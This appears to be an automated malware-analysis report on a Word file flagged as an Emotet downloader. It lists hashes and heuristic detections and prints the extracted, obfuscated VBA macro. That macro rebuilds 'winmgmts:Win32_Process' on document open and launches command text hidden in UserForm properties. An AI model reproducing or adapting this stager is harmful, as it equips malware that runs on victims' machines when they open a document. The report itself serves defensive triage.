Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cbde762bda724b36…

MALICIOUS

Office (OLE)

185.1 KB Created: 2019-12-17 14:07:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: bd3a6c9e2bdbba7561d57bf9cf34ea64 SHA-1: 51865360716bb2f721b8401119c9f8efa45928fe SHA-256: cbde762bda724b36a85567771b1fcc0f2279b46c1d87a3d39abd2375e3727135
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Ttaskmdjos = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Qjfslhqzladsb.Mttvvfwagy + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Tqpiosxubn = VBA.CreateObject(Ttaskmdjos)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9755 bytes
SHA-256: 7e90d1e1c9536a5bf3b56172ddc7744561a1646cf369ca0ce6d45100722504b0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
120 of 191 identifiers look randomly generated (e.g. 'qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Qjfslhqzladsb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Mttvvfwagy, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Ydctiqzs = Ttyjqszkztyta To Allbuudiwqn
         Dhgcodza = Imirbofecxf
         Orhdplbtc = Hsnvfxfnnxcpm
Next
Select Case Urllqwuc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Vwculpwmvq = Xxzyqinrty To Myblgopqr
         Barcfnlx = Nkztvohg
         Whvhnnkghbj = Wyyyfidia
Next
Select Case Zobrkzhjo
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Cmqeanowhxnnr = Pfmzmquavt To Mekhtgrtvxj
         Qobmffto = Xpmtiimv
         Abrwpuhz = Swkxvbsnpoe
Next
Select Case Cnrgmjkicy
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Slooaznlyfk
End Sub

Attribute VB_Name = "Yjfpjrenewh"
Attribute VB_Base = "0{FF1F056E-18BA-498D-AABE-88108C712DB1}{A55D794A-2B20-4AA7-97AE-CCE3CE2EF264}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Hbkrihtefre"
Function Wvwtsnin()
   For Jvsvjvgyss = Hiqyjrvycu To Vozhjynyzqila
         Zkciprvfsb = Tdgkptwzuwy
         Fklraeybgvoz = Fajgglktvtf
Next
Select Case Eiqdlnnjhjns
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Qhpgecighphd = Qjfslhqzladsb.Mttvvfwagy
   For Jleibvgfz = Affhzmvk To Cnmmsrqqblti
         Mkgxkvohyy = Gycduhrmhx
         Jdqoyhjsewvpf = Nfvpnggl
Next
Select Case Xqlqocprkng
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xtznqwedj = Qhpgecighphd + Yjfpjrenewh.Bbfufkybe + Yjfpjrenewh.Cmhcshyxglu + Yjfpjrenewh.Ibeqmxhp
   For Xlbaeahfy = Hnolwkqoi To Gwgyvzeewvikb
         Kiwrtjxr = Wngldczn
         Ftgfhatll = Nhuzhrqx
Next
Select Case Ejwylytstj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Opjcwhmrros = Xtznqwedj + Yjfpjrenewh.Hpvfbtjvnayic + Yjfpjrenewh.Sfxfcqnjlhap
   For Bmhycxmrqq = Jpzldcblqtnje To Epfydeyyu
         Tjhsxawwf = Owkcgtizxtts
         Krqrkqfv = Rdyvmnidmk
Next
Select Case Obyfquslzq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Wvwtsnin = Woknlxlheun + Opjcwhmrros + Woknlxlheun
   For Qqyyvwctlzqd = Wpttlsrxvhwwb To Sdqzxuqtl
         Awassuweo = Nijasuqbzuf
         Vaetdfwhygrv = Pczwjteq
Next
Select Case Wbvckvjvjhw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function
Function Slooaznlyfk()
   For Fvgrmhlxvxpx = Ybeooaaxasx To Jcybmmjacsfw
         Zxiwgcndtncq = Hunupobuxwck
         Vjyrihazswq = Gikyvarsi
Next
Select Case Hqrfaltvzw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
XXXXX = "qwh_h2bd"
Ttaskmdjos = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Qjfslhqzladsb.Mttvvfwagy + "rocess"
   For Uqjgidtuky = Bmyapfzg To Twdlonxg
         Uwzxyrsttvbu = Mttegfvuo
         Ncxofxeuojemb = Mgnbaypwzvusa
Next
Select Case Zihzkpveoxwas
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Tqpiosxubn = VBA.CreateObject(Ttaskmdjos)
   For Bfytqvkltum = Merevjmazkd To Ueeptvlkp
         Ixnycigt = Wkvlminqbuva
         Ghdbrvcw = Vyvoxrdjtpy
Next
Select Case Ehmxunlghn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Cikeayqxtxo = Ttaskmdjos + Yjfpjrenewh.Oeenolakh.ControlTipText + Yjfpjrenewh.Cuzowkoutuhlb.ControlTipText
   For Faghroms = Egljktihfno To Leapkxhacvks
         Iiiokhll = Vfbvxqwmk
         Crzbvqqckbqg = Yxyenjanrtfwl
Next
Select Case Zxizffqinp
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Expuepcjp = Cikeayqxtxo + Qjfslhqzladsb.Mttvvfwagy
   For Joxccdrmvxjgz = Rmvmnppvj To Gbkzhxyul
         Qryzrrwsaexhb = Cwittofuwqc
         Lieatrvdoox = Qvdjuiutvcmru
Next
Select Case Wcipvhgsaw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Slooaznlyfk = CreateObject(Expuepcjp)
   For Wsliftqu = Xngerzfxyurp To Fygbtcph
         Fkqixuptaxwag = Pfbvplhwjdhn
         Wcqagyhi = Eexozgesahdxo
Next
Select Case Nyngfqharevfa
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Slooaznlyfk.XSize = False
   For Kotscyki = Mewzenlbqx To Gsyxamfbesvgp
         Pqhgjruvex = Ihmknfkibuf
         Cbhuipjtavkjq = Lwuaxwxts
Next
Select Case Bfclvljig
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Slooaznlyfk.YSize = False
   For Bqaxfphblifsr = Jzhezpuw To Gwsshxtvnfl
         Iflmukfj = Laybwmggtdi
         Pidllxdusazy = Camqgxhgsiw
Next
Select Case Hyrerjmwdq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Do While Tqpiosxubn.Create(PPPP & Wvwtsnin, Kajtzaoqron, Slooaznlyfk, Qfripvafdd)
Loop
   For Svhpupqg = Avqbhxbt To Povrucyaf
         Shqymcizh = Bzrhzdkkkiv
         Daqusqqaqzi = Cvusuilbnvzmc
Next
Select Case Vnvwzdulmoh
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function

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